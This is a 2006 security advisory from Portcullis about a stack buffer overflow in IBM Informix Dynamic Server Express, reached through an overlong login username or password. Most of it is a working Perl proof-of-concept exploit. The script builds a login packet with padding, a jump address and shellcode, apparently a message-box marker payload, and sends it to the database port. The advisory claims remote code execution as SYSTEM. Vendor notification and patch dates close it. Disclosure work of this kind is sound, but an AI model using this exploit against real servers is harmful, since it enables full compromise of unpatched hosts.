Tried, Tested and Proven

Security Advisory 06 – 018 – Informix Dynamic Server Long Username Buffer Overflow Vulnerability

Vulnerable System:

IBM Informix? Dynamic Server (IDS) Express Version: 10.TC3R1E

Other versions:

Unknown

Vulnerability discovery and development:

Portcullis Security Testing Services.

Credit for Discovery:

Tim Brown – Portcullis Computer Security Ltd.

Affected Systems:

The vulnerability has been verified against a system running on a Windows 2000 platform.

Details:

Portcullis discovered that sending a 1380 byte long password causes a stack overflow in the Informix IDS service.
Here is an example of the request packet required to reach the vulnerable function:

qw(

HL LL 01 3c 00 00 00 64 00 65

00 00 00 3d 00 06 49 45 45 45 4d 00 00 6c 73 71

6c 65 78 65 63 00 00 00 00 00 00 06 39 2e 32 38

30 00 00 0c 52 44 53 23 52 30 30 30 30 30 30 00

00 05 73 71 6c 69 00 00 00 01 33 00 00 00 00 00

00 00 00 00 01 00 UL

),

to_hex_array($username),

qw(

00 PL

),

to_hex_array($password),

qw(

6f 6c 00 00 00

00 00 00 00 00 00 3d 74 6c 69 74 63 70 00 00 00

00 00 01 00 68 00 0b 00 00 00 03 00 05 56 49 53

31 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 0b

00 09 4c 4f 43 4b 44 4f 57 4e 00 00 03 6e 6f 00

00 07 44 42 44 41 54 45 00 00 06 59 34 4d 44 2d

00 00 0c 53 49 4e 47 4c 45 4c 45 56 45 4c 00 00

03 6e 6f 00 00 09 4e 4f 44 45 46 44 41 43 00 00

03 6e 6f 00 00 06 53 4b 41 4c 4c 00 00 02 30 00

00 09 4c 4b 4e 4f 54 49 46 59 00 00 04 79 65 73

00 00 07 53 4b 53 48 4f 57 00 00 02 30 00 00 0c

49 46 58 5f 55 50 44 44 45 53 43 00 00 02 31 00

00 07 44 42 50 41 54 48 00 00 02 2e 00 00 0e 43

4c 49 45 4e 54 5f 4c 4f 43 41 4c 45 00 00 0d 65

6e 5f 55 53 2e 38 38 35 39 2d 31 00 00 0a 53 4b

49 4e 48 49 42 49 54 00 00 02 30 00 00 7f

)

);

"\x63\xee\xfd\x74" #jmp address

"\xb8\x78\x56\x34\x12\x35\xd3\x51\x34\x12\x2b\xe0". #fix the stack for later use.

Impact:

Remote code execution in the context of the account the service is running under, typically SYSTEM leading to a complete compromise of the affected host.

Proof of Concept Code:

#!/usr/bin/perl -w

use strict;

#use Encode;

use IO::Socket::INET;

# Default variables

my $target_port = 1526;

my $debug = 0;

my $quiet = 0;

my $usage =(Less than Less than) USAGE;

Informix prober

$0 host[:port] username password

Where:

host hostname or ip of informix server

port listening port number (default: $target_port)

debug 1 or 0 for on or off (default: $debug);

USAGE

$| = 1;

# Argument processing

my $target_host = shift or die $usage;

if ($target_host =~ /^(\S+):(\d+)$/) {

$target_host = $1;

$target_port = $2;

}

#my $username = Encode::decode_utf8(shift) or die $usage;

#my $password = Encode::decode_utf8(shift) or die $usage;

my $username = "A" x 967;

$username .=

"\x63\xee\xfd\x74". #g2Bg

"\xb8\x78\x56\x34\x12\x35\xd3\x51\x34\x12\x2b\xe0".

#\x83\xEC\x77

"\x8B\xEC".

"\x90\x90\x90\x90\x90".

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb".

"\xcf\x05\x4f\x7c".

"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb".

"\xa9\xe6\x4e\x7c".

"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51".

"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff".

"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff".

"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff".

"\xff\x4f\x6d\x65\x67\x61\x37\x4e";

# 416-256

$username .= "A" x 350;

#shift or die $usage;

my $password = shift or die $usage;

$debug = shift || $debug;

$username .= "\x00";

$password .= "\x00";

# Lots of hardcoded packet data

my @packet1 = (

qw(

HL LL 01 3c 00 00 00 64 00 65

00 00 00 3d 00 06 49 45 45 45 4d 00 00 6c 73 71

6c 65 78 65 63 00 00 00 00 00 00 06 39 2e 32 38

30 00 00 0c 52 44 53 23 52 30 30 30 30 30 30 00

00 05 73 71 6c 69 00 00 00 01 33 00 00 00 00 00

00 00 00 00 01 00 UL

),

to_hex_array($username),

qw(

00 PL

),

to_hex_array($password),

qw(

6f 6c 00 00 00

00 00 00 00 00 00 3d 74 6c 69 74 63 70 00 00 00

00 00 01 00 68 00 0b 00 00 00 03 00 05 56 49 53

31 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 0b

00 09 4c 4f 43 4b 44 4f 57 4e 00 00 03 6e 6f 00

00 07 44 42 44 41 54 45 00 00 06 59 34 4d 44 2d

00 00 0c 53 49 4e 47 4c 45 4c 45 56 45 4c 00 00

03 6e 6f 00 00 09 4e 4f 44 45 46 44 41 43 00 00

03 6e 6f 00 00 06 53 4b 41 4c 4c 00 00 02 30 00

00 09 4c 4b 4e 4f 54 49 46 59 00 00 04 79 65 73

00 00 07 53 4b 53 48 4f 57 00 00 02 30 00 00 0c

49 46 58 5f 55 50 44 44 45 53 43 00 00 02 31 00

00 07 44 42 50 41 54 48 00 00 02 2e 00 00 0e 43

4c 49 45 4e 54 5f 4c 4f 43 41 4c 45 00 00 0d 65

6e 5f 55 53 2e 38 38 35 39 2d 31 00 00 0a 53 4b

49 4e 48 49 42 49 54 00 00 02 30 00 00 7f

)

);

$packet1[79] = sprintf("%02x", int(length($username) / 256)); # length of username MSB

$packet1[80] = sprintf("%02x", length($username) % 256); # length of username LSB

$packet1[80+length($username)+1] = sprintf("%02x", int(length($password) / 256)); # length of password MSB

$packet1[80+length($username)+2] = sprintf("%02x", length($password) % 256); # length of password LSB

$packet1[0] = sprintf("%02x", int((scalar(@packet1)) / 256)); # length of packet MSB

$packet1[1] = sprintf("%02x", (scalar(@packet1)) % 256); # length of packet LSB

printf "Length: total %s %s, username %s %s, password %s %s\n", $packet1[0], $packet1[1], $packet1[79], $packet1[80], $packet1[80+length($username)+1], $packet1[80+length($username)+2];

# my $packet1 = Encode::decode_utf8(join "", map { chr(hex($_)) } @packet1);

my $packet1 = join "", map { chr(hex($_)) } @packet1;

# Connect to server

print "==========================\n" if $debug;

print "Connecting to $target_host:$target_port\n" if $debug;

my $sock = IO::Socket::INET->new(PeerAddr => $target_host,

PeerPort => $target_port,

Proto => 'tcp')

or die "ERROR: Can't connect to $target_host:$target_port: $!\n";

#binmode $sock, ":utf8";

#binmode STDOUT, ":utf8";

# Send request to connect to SID

printf "Sending %d byte request...\n", length($packet1) if $debug;

print $sock $packet1;

my $response;

$sock->recv($response, 1500);

printf "Got %d byte reply\n", length($response) if $debug;

print "$response\n" if $debug;

sub to_hex_array {

my $string = shift;

my @chars = split("", $string);

return map { sprintf("%02x", ord($_)) } @chars;

}
Vendor Status:

Vendor Notified via email 22 February 2006 (ibm_crc_uk@vnet.ibm.com; ifmxsup@uk.ibm.com)

Vendor Response 7th March 2006: This note is to confirm Portcullis Security Advisory 06-008 has been fixed in Informix Dynamic Server (IDS) 10.00.TC4W3, scheduled for release on March 9th 2006.

The fix will also be in IDS 9.40.TC8W1 scheduled for release on April 7th 2006.

Copyright:

Copyright © Portcullis Computer Security Limited 2006, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information.
It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.